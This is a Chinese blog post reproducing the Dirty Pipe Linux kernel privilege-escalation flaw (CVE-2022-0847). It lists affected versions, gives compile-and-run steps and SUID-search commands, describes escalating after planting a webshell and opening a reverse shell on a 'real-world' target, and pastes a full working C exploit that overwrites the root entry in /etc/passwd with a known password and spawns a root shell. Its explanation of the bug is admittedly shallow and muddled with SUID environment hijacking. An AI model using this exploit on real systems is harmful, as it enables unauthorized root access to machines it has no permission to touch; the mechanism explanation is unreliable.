首页 > 技术文章 > CVE-2022-0847 Linux Kernel本地提权漏洞

sukusec301 2022-03-08 14:22 原文

0x00 漏洞概述

CVE ID CVE-2022-0847 时 间 2022-03-07
类 型 LPE 等 级 严重
远程利用 影响范围
攻击复杂度 用户交互
PoC/EXP 已公开 在野利用

0x01 漏洞详情

3月7日,研究人员公开披露了Linux 内核中的一个权限提升漏洞(CVE-2022-0847,也称为“Dirty Pipe”),允许非特权用户注入和覆盖任意只读文件中的数据,导致权限提升,并最终获得root权限。该漏洞影响了 Linux Kernel 5.8 及更高版本,甚至影响了Android设备。

CVE-2022-0847漏洞类似于 2016 年修复的 Dirty COW 漏洞 (CVE-2016-5195),但它更容易被利用,目前此漏洞的PoC/EXP已经发布。

0x02 影响范围

Linux Kernel 版本 >= 5.8

Linux Kernel 版本 < 5.16.11 / 5.15.25 /5.10.102

0x03 漏洞复现

在本地Kali提权

1、查看基本Linux系统信息

image-20220308132556330

2、先将EXP这个C文件编译成二进制可执行文件

gcc -o exp dirtypipez.c
chmod +x exp

3、输入下面这三条命令中的任意一个

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

image-20220308132950049

4、使用刚刚编译的exp

image-20220308133016982

./exp /usr/bin/chsh

5、成功提权

image-20220308133050057

实战环境下的提权

1、先获取webshell,进行信息收集,发现目标系统版本符合这个漏洞

image-20220308135000864

2、上传c文件并且编译,然后使用find命令提权

image-20220308135649952

可以看到,无效,这时候进行bash反弹shell到攻击机上

3、再次使用这些命令

image-20220308135717468

4、成功提权

image-20220308135724269

0x04 漏洞原理

暂时没有特别深入研究,目前只知道和环境劫持提权差不多

环境劫持提权

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

image-20220308140142360

github上的POC复现

github上的POC,没有利用这个带有suid的进行提权。毕竟带有suid的权限文件会有局限性。假设机器上不存在suid,就不会有这种提权方式。

在github上,这个大佬可真是皮啊

image-20220309140327257

image-20220309140346715

使用github上这个大佬的C脚本,无法提权成功。后来在网页上找了一个别人的C文件,提权成功了

https://www.cnblogs.com/xiaozhi789/articles/15979225.html

特此将这个大佬的代码贴在下面保存一份。

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
 
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
 
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
 
    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
 
    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
 
    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}
 
int main(int argc, char **argv) {
    const char *const path = "/etc/passwd";
 
        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");
 
        if (f1 == NULL) {
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }
 
        char c;
        while ((c = fgetc(f1)) != EOF)
            fputc(c, f2);
 
        fclose(f1);
        fclose(f2);
 
    loff_t offset = 4; // after the "root"
    const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
        printf("Setting root password to \"aaron\"...");
    const size_t data_size = strlen(data);
 
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }
 
    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }
 
    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
 
    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }
 
    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }
 
    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }
 
    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);
 
    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }
 
    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }
 
    printf("It worked!\n");
 
        system("/bin/sh -c '(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell...\\\";"
                "sleep 2;"
                "echo \\\"(run commands now)\\\";"
                "/bin/sh;" // one shold work
            "\" root'");
 
        printf("system() function call seems to have failed :(\n");
    return EXIT_SUCCESS;
}

具体复现过程

1、将上面那段代码保存到一个C文件里面,然后gcc编译

2、编译后直接运行就可以提权了。

image-20220309140616464

0x04 总结

1、这次的提权,和之前的那个CVE-2021-3034 Linux pkexec提权类似,在实战过程中要先反弹shell到攻击机上,然后再使用提权命令

2、这次的提权使用到了find命令,也就是环境劫持提权,有兴趣可以继续研究一下。

推荐阅读